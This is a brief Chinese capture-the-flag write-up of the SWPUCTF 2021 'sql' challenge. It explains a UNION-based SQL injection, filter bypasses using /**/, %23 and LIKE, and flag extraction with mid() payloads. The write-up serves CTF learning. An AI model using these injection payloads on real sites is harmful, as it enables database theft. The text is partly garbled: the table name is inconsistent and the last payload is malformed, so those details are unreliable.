【SWPUCTF 2021 新生赛】sql
Contents
[SWPUCTF 2021 新生赛]sql
思路
- 使用常规字符型的联合注入起手
- 通过弹窗,在每个语句中找到对应的过滤内容,替换过滤内容
- 发现显示只有开头,使用函数获取每一段flag
EXP
-
一开始在做闭合中发现
--+
被过滤,因为+
表示空格使用
#
后发现无回显,考虑用url编码%23
. -
发现有回显位,因此用联合注入
-
使用
order by
时发现了空格过滤 => 使用/**/
替换绕过 -
开始爆破表格名,使用
where table_name=""
时发现了=
过滤 => 使用like替换,即:1
where/**/table_name/**/like LFLF_flag
-
同时发现
and
被过滤,直接限制表名,不要限制数据库即可 -
得到字段后直接查字段,发现查询到的字数出现限制
|
|
-
尝试使用right()函数,发现被过滤。
-
尝试使用mid()函数
1 2 3 4 5
?wllm=-1'union/**/select/**/1,mid(flag,1,20),3/**/from/**/LTLT_flag%23 ?wllm=-1'union/**/select/**/1,mid(flag,21,20),3/**/from/**/LTLT_flag%23 ?wllm=-1'union/**/select/**/1,flag,41,20),3/**/from/**/LTLT_flag%23